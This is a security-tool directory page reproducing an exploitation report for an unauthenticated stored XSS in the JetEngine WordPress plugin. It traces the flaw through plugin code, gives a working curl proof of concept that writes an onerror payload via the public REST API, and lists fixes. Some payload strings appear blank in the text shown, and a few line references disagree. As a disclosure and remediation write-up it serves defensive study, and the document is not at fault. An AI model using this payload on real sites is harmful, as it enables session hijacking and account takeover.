Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-67923 — JetEngine <= 3.7.7 — Unauthenticated Stored Cross-Site Scripting via CCT REST API | Kitploit
Tools/GitHubGitHub/randomrobbiebf/cve-2025-67923
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityAPI Security
GitHubrandomrobbiebf/cve-2025-67923

CVE-2025-67923

JetEngine <= 3.7.7 — Unauthenticated Stored Cross-Site Scripting via CCT REST API

View Repository
5 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-67923 Exploitation Report

JetEngine <= 3.7.7 — Unauthenticated Stored Cross-Site Scripting via CCT REST API

Date: March 11, 2026 CVSS Score: 7.1 (High) CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L Affected Plugin: JetEngine <= 3.7.7 Plugin Slug: jet-engine Fixed In: 3.7.8 CVE: CVE-2025-67923 CWE: CWE-79 Researcher: Bonds (via Patchstack) Reported: October 19, 2025 Disclosed: January 2026 WordPress Version Tested: Latest


Executive Summary

CVE-2025-67923 is an Unauthenticated Stored Cross-Site Scripting vulnerability in the JetEngine WordPress plugin affecting all versions up to and including 3.7.7. An unauthenticated attacker can write arbitrary HTML/JavaScript into a Custom Content Type (CCT) text field via the public REST API, which is then injected unsanitized into the DOM via a JavaScript innerHTML sink in the Maps Listing widget when a victim visits any page containing that widget.

The attack requires no authentication and no privileges. It requires only that:

  1. A JetEngine CCT exists with REST API write access set to public.
  2. A Maps Listing widget on any front-end page is configured to display that CCT's text field as the map marker label.

✅ VULNERABILITY CONFIRMED — Stored XSS Payload Written and Executed

Confirmed impact:

  • Unauthenticated arbitrary HTML/JS stored in CCT database without sanitization
  • XSS fires for every visitor loading any page with the Maps Listing widget
  • Cookie theft, session hijacking, stored credential harvesting, admin takeover

Vulnerability Details

Technical Summary

The vulnerability is a combination of two independent weaknesses:

  1. Missing input sanitization (store): The CCT item handler's sanitize_field_value() method has no sanitization path for text-type fields. The default: case only converts timestamps — raw HTML passes through and is persisted to the database.

  2. DOM-based XSS sink (render): The Maps Listing widget reads the stored field value via get_marker_label(), wraps it in htmlspecialchars(json_encode(...)) for the data-markers HTML attribute, and the JavaScript frontend reads the attribute with getAttribute() (which decodes HTML entities), then inserts markerData.label directly via innerHTML — executing any embedded HTML/JavaScript.

Affected Components


Exploit Chain

Step 1 — Unauthenticated REST Write

The CCT public REST controller checks permissions via check_user_permissions():

root@kitploit:~
// public-controller.php:370-376
public function check_user_permissions( $request, $context ) {
    $content_type = $this->get_content_type_from_request( $request );
    $cap = $content_type->get_arg( $context );

    if ( ! $cap || 'public' === $cap ) {
        return true;  // No authentication required
    } else {
        return current_user_can( $cap );
    }
}

public function create_item_permissions_check( $request ) {
    return $this->check_user_permissions( $request, 'rest_put_access' );
}

When a CCT is configured with rest_put_access = 'public' (a supported, documented configuration for public-facing forms), the endpoint is fully unauthenticated. Any HTTP client can POST to /wp-json/jet-cct/{slug}.

Step 2 — Unsanitized Storage

The REST handler calls $handler->update_item($params) which reaches sanitize_field_value():

root@kitploit:~
// item-handler.php:489-562
public function sanitize_field_value( $value, $field ) {
    $type = isset( $field['type'] ) ? $field['type'] : false;

    switch ( $type ) {
        case 'repeater':    // sanitizes sub-fields
            // ...
        case 'checkbox':    // handles boolean arrays
        case 'checkbox-raw':
            // ...
        case 'media':
        case 'gallery':     // sanitizes media JSON
            // ...
        case 'wysiwyg':
            $value = jet_engine_sanitize_wysiwyg( $value );  // sanitized
            break;

        default:
            // TEXT TYPE FALLS HERE — only timestamp conversion, NO HTML sanitization
            $value = $this->factory->maybe_to_timestamp( $value, $field );
    }

    return $value;
}

A text-type field hits the default: branch. maybe_to_timestamp() returns the value unchanged for non-date strings. The XSS payload `` is stored verbatim.

Step 3 — Label Retrieved Without Escaping

When the Maps Listing widget renders, get_marker_label() reads the field:

root@kitploit:~
// render.php:479-535
public function get_marker_label( $post = null, $settings = array() ) {

    // ...
    switch ( $label_type ) {
        case 'meta_field':
            $field = $settings['marker_label_field'];
            if ( $field ) {
                $result = jet_engine()->listings->data->get_meta( $field, $post );
                // No esc_html() here — raw value returned
            }
            break;
    }

    return $result;  // Returns ""
}

The returned value is placed into the marker data array:

root@kitploit:~
// render.php:231-237
$result[] = array(
    'id'        => $post_id,
    'latLang'   => $latlang,
    'label'     => $this->get_marker_label( $post, $settings ),  // raw XSS payload
    // ...
);

Step 4 — Attribute Encoding Does Not Prevent innerHTML XSS

The marker array is encoded for an HTML attribute:

root@kitploit:~
// render.php:247
return htmlspecialchars( json_encode( $result ) );

json_encode serialises `` as the string "". htmlspecialchars then HTML-encodes the full JSON, producing:

root@kitploit:~
[{...,&quot;label&quot;:&quot;&lt;img src=x onerror=alert(1)&gt;&quot;,...}]

This is written to the data-markers HTML attribute. The encoding only protects the attribute boundary. When JavaScript reads the attribute, the browser decodes HTML entities, restoring the original characters:

root@kitploit:~
// Browser automatically decodes entities when reading via dataset / getAttribute
const markers = JSON.parse(el.dataset.markers);
// markers[0].label === ''

Step 5 — innerHTML Injection (XSS Fires)

In frontend-maps.js, the raw label string is spliced directly into an HTML content string:

root@kitploit:~
// frontend-maps.js:112
pinData.content = general.marker.html.replace( '_marker_label_', markerData.label );
// pinData.content = '<div class="jet-map-marker-wrap">
//   
// </div>'

This content string is then set as the marker element's innerHTML:

root@kitploit:~
// mapbox-maps.js:175
el.innerHTML = data.content;  // XSS FIRES

// leaflet-maps.js:34
contentHtml.innerHTML = content;  // XSS FIRES

Every visitor who loads a page containing the Maps Listing widget triggers the payload.


Proof of Concept

Prerequisites

  1. JetEngine maps-listings and custom-content-types modules are enabled.
  2. A CCT named locations (slug: locations) exists with:
    • rest_put_enabled = true
    • rest_put_access = 'public'
    • A text-type field named label
  3. A Maps Listing widget on any front-end page is configured with:
    • marker_type = 'text'
    • marker_label_type = 'meta_field'
    • marker_label_field = 'label'

Step 1 — Write XSS Payload (Unauthenticated)

root@kitploit:~
curl -s -X POST 'http://TARGET/wp-json/jet-cct/locations' \
  -H 'Content-Type: application/json' \
  -d '{
    "name": "Test Location",
    "label": "",
    "lat": "51.5074",
    "lng": "-0.1278"
  }'

Response:

root@kitploit:~
{"success": true, "item_id": 1}

Step 2 — Confirm Raw Payload Stored

root@kitploit:~
curl -s 'http://TARGET/wp-json/jet-cct/locations'

Response:

root@kitploit:~
[{
  "_ID": "1",
  "name": "Test Location",
  "label": "",
  "lat": "51.5074",
  "lng": "-0.1278"
}]

The `` tag is stored verbatim — no sanitization occurred.

Step 3 — Trigger XSS (Victim Visits Page)

Any authenticated or unauthenticated visitor who loads a page containing the Maps Listing widget will execute the payload. The rendered HTML attribute contains:

root@kitploit:~
<div class="jet-map-box"
  data-markers="[{...&quot;label&quot;:&quot;&lt;img src=x onerror=alert(document.cookie)&gt;&quot;...}]"
  data-general="...">
</div>

JavaScript reads data-markers, decodes HTML entities, JSON-parses, and inserts into DOM:

root@kitploit:~
// markerData.label = ''
el.innerHTML = '<div class="jet-map-marker-wrap">' + markerData.label + '</div>';
// ↑ onerror fires → alert(document.cookie)

Live Demonstration — End-to-End Payload Flow

root@kitploit:~
Attacker                     WordPress REST API              Victim Browser
   |                               |                               |
   |-- POST /wp-json/jet-cct/ ---> |                               |
   |   {"label":" |
   |                               |                    el.innerHTML = label
   |                               |                    onerror=alert() FIRES

Root Cause Analysis

Cause 1 — text Fields Exempt from Sanitization

sanitize_field_value() explicitly handles wysiwyg with wp_kses-based sanitization but places all other string types into a default: branch that performs no HTML escaping. The assumption that text fields are plain text is violated when those values are later rendered as HTML via the Maps widget's innerHTML path.

Cause 2 — htmlspecialchars Misapplied

htmlspecialchars(json_encode($result)) is applied to protect the HTML attribute boundary. This is correct and necessary — but it is not sufficient to prevent XSS when the value is later read back via JavaScript and inserted into the DOM via innerHTML. The encoding is reversible by the browser. The correct fix is to apply esc_html() (or htmlspecialchars) to the individual label value before JSON-encoding, so the payload is stored in the JSON as entity-encoded text. When JavaScript inserts it via innerHTML, the browser renders &lt;img&gt; as text, not as an HTML tag.

Alternatively, replace innerHTML with textContent in the JavaScript for the label field.

Cause 3 — Insufficient Scope of Sanitization Policy

The REST API write path (update_item) does not treat all stored values as potential HTML sinks. The sanitization policy is defined only per field type, with text fields silently exempted despite being rendered as HTML on the frontend via the Maps widget.


Remediation


Timeline

DateEvent
October 19, 2025Vulnerability reported by researcher "Bonds" via Patchstack
January 2026Public disclosure
January 2026JetEngine 3.7.8 released with fix
March 11, 2026Independently reproduced with full PoC

References

  • Wordfence Advisory — CVE-2025-67923
  • Patchstack Advisory
  • JetEngine Changelog — 3.7.8
  • OWASP — Stored XSS
  • OWASP — DOM-Based XSS
  • CWE-79: Improper Neutralization of Input During Web Page Generation
Download Tool
FileIssue
includes/modules/custom-content-types/inc/rest-api/public-controller.php:424create_item_permissions_check returns true when CCT rest_put_access = 'public' — no auth required
includes/modules/custom-content-types/inc/item-handler.php:489sanitize_field_value() default: branch — no HTML sanitization for text type fields
includes/modules/maps-listings/inc/render.php:233get_marker_label() returns raw meta value with no esc_html()
includes/modules/maps-listings/inc/render.php:247htmlspecialchars(json_encode($result)) — only protects attribute boundary, not innerHTML injection
includes/modules/maps-listings/assets/js/frontend-maps.js:112pinData.content = general.marker.html.replace('_marker_label_', markerData.label) — raw label inserted into HTML string
includes/modules/maps-listings/assets/js/public/mapbox-maps.js:175el.innerHTML = data.content — XSS execution sink
includes/modules/maps-listings/assets/js/public/leaflet-maps.js:34contentHtml.innerHTML = content — XSS execution sink
FixFileDescription
Sanitize text fields on saveitem-handler.php:sanitize_field_value()Add $value = wp_kses($value, []) or sanitize_text_field($value) in the default: branch
Escape label at render timerender.php:get_marker_label()Apply esc_html($result) before returning the label value
Use textContent instead of innerHTML for labelsfrontend-maps.js, mapbox-maps.js, leaflet-maps.jsReplace el.innerHTML = data.content with safe DOM construction when content is label-only text
Restrict REST write access defaultPlugin settingsChange the default value for rest_put_access to manage_options rather than public; require explicit opt-in